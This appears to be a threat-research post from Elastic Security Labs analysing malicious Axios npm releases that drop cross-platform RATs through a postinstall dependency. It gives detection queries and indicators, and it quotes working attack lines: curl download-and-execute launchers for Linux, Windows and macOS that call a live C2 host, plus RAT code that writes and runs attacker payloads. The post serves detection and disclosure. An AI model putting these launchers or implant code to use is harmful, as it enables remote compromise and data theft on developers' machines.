Elastic releases detections for the Axios supply chain compromise

Hunting and detection rules for the Elastic-discovered Axios supply chain compromise.

Elastic releases detections for the Axios supply chain compromise

Elastic Security Labs is releasing an initial triage and detection rules for the Axios supply-chain compromise. We will release a detailed analysis in a future publication, but we wanted to get detection and coverage information out immediately.

Elastic Security Labs filed a GitHub Security Advisory to the axios repository on March 31, 2026 at 01:50 AM UTC to coordinate disclosure and ensure the maintainers and npm registry could act on the compromised versions.

Introduction

We are currently tracking a supply chain attack involving malicious Axios package versions that introduce a secondary dependency used for post-install execution. Rather than embedding malicious logic directly into the primary package, the attacker leveraged a transitive dependency to trigger execution during installation and deploy a cross-platform payload.

Elastic observed consistent execution patterns across impacted systems immediately after npm install of the malicious Axios versions (1.14.1, 0.30.4). The added dependency (plain-crypto-js@4.2.1) executed during postinstall and was quickly followed by a second-stage payload.

Across Linux, Windows, and macOS, the activity followed the same structure:

node (npm install)
  → OS-native execution (sh / cscript / osascript)
    → remote payload retrieval
      → backgrounded or hidden execution of stage 2

This results in a small but high-signal window where:

  • node spawns a shell or interpreter
  • a remote payload is fetched
  • execution is detached from the original process

Elastic detections triggered reliably on this behavior across platforms, providing strong coverage of the delivery stage.

How Elastic Detects the Supply Chain Attack

This activity consistently appears in process telemetry as a Node.js process spawning an OS-native execution path to retrieve and execute a remote payload, often in a detached or hidden context. Elastic detections focus on this behavior rather than static indicators, providing reliable coverage of the delivery stage across platforms.

Linux

The Linux execution path is the cleanest place to start, because the malware does very little to hide what it is doing. We observed that the delivery stage produced exactly the kind of process ancestry you would expect from a compromised dependency:

node → /bin/sh -c curl -o /tmp/ld.py ... && nohup python3 /tmp/ld.py ... &

Which shows up as follows:

The initial signal comes from the Node.js process, handing off execution to a shell that performs a remote fetch. This is captured by the Curl or Wget Spawned via Node.js detection rule.

event.category:process and
process.parent.name:("node" or "bun" or "node.exe" or "bun.exe") and 
(
  (
    process.name:(
      "bash" or "dash" or "sh" or "tcsh" or "csh" or  "zsh" or "ksh" or
      "fish" or "cmd.exe" or "bash.exe" or "powershell.exe"
    ) and
    process.command_line:(*curl*http* or *wget*http*)
  ) or 
  process.name:("curl" or "wget" or "curl.exe" or "wget.exe")
)

This captures the moment when the installation flow deviates from normal package behavior and begins pulling a payload over HTTP. In this case, it is the curl invocation that retrieves /tmp/ld.py from the remote server.

Shortly after, execution continues in the same shell, but now the focus shifts from retrieval to execution. This is picked up by Process Backgrounded by Unusual Parent.

event.category:process and event.type:start and
process.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and
process.args:(-c and *&)

Which captures the second half of the chain:

sh -c "... && nohup python3 /tmp/ld.py ... &"

The payload is launched with nohup and backgrounded immediately using &, detaching it from the parent process and suppressing output. That transition from a short-lived install-time shell into a detached long-running process is where the actual implant takes over.

After execution, the Linux second stage is a Python-based RAT that establishes a simple polling loop to its C2. The entrypoint work() sends an initial FirstInfo message and then transitions into main_work(), which continuously reports host data and processes tasking:

while True:
    ps = print_process_list()

    data = {
        "hostname": get_host_name(),
        "username": get_user_name(),
        "os": os,
        "processList": ps
    }

    response_content = send_result(url, body)

    if response_content:
        process_request(url, uid, response_content)

    time.sleep(60)

On first check-in, it performs a targeted directory enumeration via init_dir_info() across user paths such as $HOME, .config, Documents, and Desktop, and builds a process listing directly from /proc, including usernames and start times.

Tasking is minimal but flexible. runscript supports arbitrary shell execution or base64-delivered Python via python3 -c, while peinject simply writes attacker-supplied bytes to a hidden file in /tmp and executes it:

file_path = f"/tmp/.{generate_random_string(6)}"
with open(file_path, "wb") as file:
    file.write(payload)

os.chmod(file_path, 0o777)
subprocess.Popen([file_path] + shlex.split(param.decode("utf-8")))

This provides the operator with a lightweight access implant for periodic host profiling, command execution, and follow-on payload delivery.

Together, these detections provide strong coverage of the Linux delivery stage and the transition into the Python backdoor, without relying on specific filenames or hardcoded indicators:

Windows

The Windows execution path follows the same pattern: it uses curl to download a remote PowerShell script and proxy execution via a renamed PowerShell (C:\ProgramData\wt.exe). The following alert shows the process chain:

Where:

  • wt.exe is a renamed copy of PowerShell.exe located in C:\ProgramData\wt.exe
  • curl is used to retrieve a remote PowerShell script
  • execution is performed via the renamed binary

We first observe the creation and use of the renamed interpreter. This is captured by Execution via Renamed Signed Binary Proxy, which flags signed system binaries executed from unexpected locations.

Shortly after, the same binary is used to retrieve the second-stage payload over HTTP. This is picked up by Potential File Transfer via Curl for Windows, capturing the network retrieval stage driven from the scripted execution chain.

The second stage is a PowerShell-based RAT that beacons to its C2 (http[:]//sfrclak[.]com:8000/) every 60 seconds over HTTP using a fake IE8 User-Agent and base64-encoded JSON.

It establishes persistence via Run\MicrosoftUpdate registry key to execute a hidden bat script C:\ProgramData\system.bat:

The batch file dynamically retrieves and executes the payload in memory on login:


start /min powershell -w h -c "
([scriptblock]::Create(
  [System.Text.Encoding]::UTF8.GetString(
    (Invoke-WebRequest -UseBasicParsing -Uri '' -Method POST -Body 'packages.npm.org/product1').Content
  )
)) ''"

Its core capabilities include:

  • peinject - in-memory .NET assembly injection using Assembly.Load(byte[]) for process hollowing into cmd.exe.
  • runscript - arbitrary PowerShell script execution via encoded commands or temp files,
  • rundir - filesystem enumeration of user directories and all drive roots.

On initialization, it fingerprints the host via WMI, collecting hostname, username, OS version, CPU, hardware model, timezone, boot/install times, and a full process listing, and sends an initial directory listing of Documents, Desktop, OneDrive, and AppData before entering its beacon loop.

The second stage triggers both the Startup Persistence via Windows Script Interpreter and Suspicious String Value Written to Registry Run Key alerts:

The Suspicious PowerShell Base64 Decoding rule alert captures the PowerShell RAT script content :

Taken together, these detections capture the full Windows delivery chain: from renamed binary execution, to payload retrieval, to persistence, and in-memory execution via the following behavioral detections:

macOS

Analysis shows the loader writes AppleScript to a temp file, runs it via osascript, then downloads the second stage to a fake Apple-looking cache path and launches it through /bin/zsh. The key launcher looks like this:

do shell script "curl -o /Library/Caches/com.apple.act.mond \
 -d packages.npm.org/product0 \
 -s http://sfrclak.com:8000/6202033 \
 && chmod 770 /Library/Caches/com.apple.act.mond \
 && /bin/zsh -c \"/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &\" \ &> /dev/null"

The delivered file produced the following execution matching on the file name masquerading attempt and the self-signed code signature :

The payload path itself triggers the Potential Binary Masquerading via Invalid Code Signature and Suspicious URL as argument to Self-Signed Binary endpoint rules, as it mimics Apple naming conventions (com.apple.*) but does not match expected signing characteristics.

com.apple.act.mond is a custom-built macOS backdoor compiled as a universal Mach-O binary (x86_64 and ARM64) using C++ and Xcode, with HTTP-based C2 communications via libcurl and a JSON command protocol.

On initial check-in, it fingerprints the host, collecting hostname, username, OS version, hardware model, timezone, and a full process listing (ps -eo user,pid,command), which surfaces via the Suspicious XPC Service Child Process endpoint rule, capturing unexpected child process activity originating from the backdoor:

The macOS backdoor facilitates:

  • C2 connection by passing a URL directly as an argument.
  • AppleScript execution using osascript via temporary hidden .scpt files dropped to /tmp/
  • Filesystem enumeration targeting /Applications and ~/Library/Application Support
  • Downloading and executing remote base64-encoded payloads.
  • Ad-hoc code signing of dropped payloads (codesign --force --deep --sign - “/private/tmp/.*”) so it can run past Gatekeeper.

The binary is not packed or obfuscated, ships with debug entitlements enabled, and retains developer build paths (Jain_DEV/client_mac/macWebT) and uses a spoofed IE8/Windows XP user-agent string (mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)).

These detections collectively follow the macOS delivery path from staged AppleScript execution to payload launch and post-execution behavior:

Conclusion

This supply chain attack highlights how little complexity is required to achieve cross-platform compromise when execution is triggered during installation.

Across Linux, Windows, and macOS, we consistently observed the same core pattern: a Node.js process spawning native OS execution to retrieve and launch a remote payload, followed by immediate detachment or hidden execution.

From a detection perspective, the key takeaway is that the most reliable signals are not in the package itself, but in what happens immediately after installation. Process ancestry, network retrieval, and detached execution provide a stable detection surface that remains effective even when payloads, filenames, or infrastructure change.

Elastic detections focused on this behavior provided consistent coverage of the delivery stage across all platforms, without relying on static indicators.

Indicators of Compromise (IOCs)

Related Alerts

Malicious Packages

PackageVersionHash (shasum)
axios1.14.12553649f232204966871cea80a5d0d6adc700ca
axios0.30.4d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71
plain-crypto-js4.2.107d889e2dadce6f3910dcbc253317d28ca61c766

Additional related packages observed in the ecosystem abuse:

PackageVersion
@shadanai/openclaw2026.3.28-2, 2026.3.28-3, 2026.3.31-1, 2026.3.31-2
@qqbrowser/openclaw-qbot0.0.130

Script / Payload Hashes (SHA256)

FileSHA256
setup.jse10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09
/tmp/ld.py6483c004e207137385f480909d6edecf1b699087378aa91745ecba7c3394f9d7
6202033.ps1ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c
system.bate49c2732fb9861548208a78e72996b9c3c470b6b562576924bcc3a9fb75bf9ff
com.apple.act.mond92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a

Network Indicators

TypeIndicator
C2 Domainsfrclak[.]com
C2 IP142.11.206[.]73
C2 URLhttp://sfrclak[.]com:8000/6202033
User-Agentmozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)
macOS POST bodypackages[.]npm[.]org/product0
Windows POST bodypackages[.]npm[.]org/product1
Linux POST bodypackages[.]npm[.]org/product2

File System Indicators

Cross-platform

Path / ArtifactDescription
$TMPDIR/6202033Temporary staging artifact
*/node_modules/plain-crypto-js/setup.jsNode.js first-stage dropper

Linux

PathDescription
/tmp/ld.pyPython RAT second stage

Windows

PathDescription
%PROGRAMDATA%\wt.exeRenamed powershell.exe (execution proxy)
%PROGRAMDATA%\system.batPersistence launcher
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdatePersistence key
%TEMP%\6202033.vbsVBS launcher (self-deletes)
%TEMP%\6202033.ps1PowerShell payload (self-deletes)

macOS

PathDescription
/Library/Caches/com.apple.act.mondMach-O backdoor payload
/tmp/*.scptTemporary AppleScript launcher

Share this article